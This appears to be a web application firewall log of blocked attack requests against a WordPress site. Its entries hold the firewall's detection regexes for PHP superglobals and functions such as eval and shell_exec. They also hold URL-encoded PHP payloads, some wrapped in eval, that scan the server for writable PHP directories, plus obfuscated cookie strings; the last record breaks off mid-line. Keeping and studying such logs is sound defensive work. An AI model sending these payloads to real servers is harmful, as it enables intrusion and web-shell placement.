["2026-05-12 21:02:01","41.76.213.235","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> zl:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrzjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:3811\n\nzl=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 21:02:53","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> AA:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-mode:navigate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDHRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:3822\n\nAA=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 21:02:58","50.6.7.129","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> uF:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqHLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:3832\n\nuF=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 21:03:08","57.128.189.50","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php 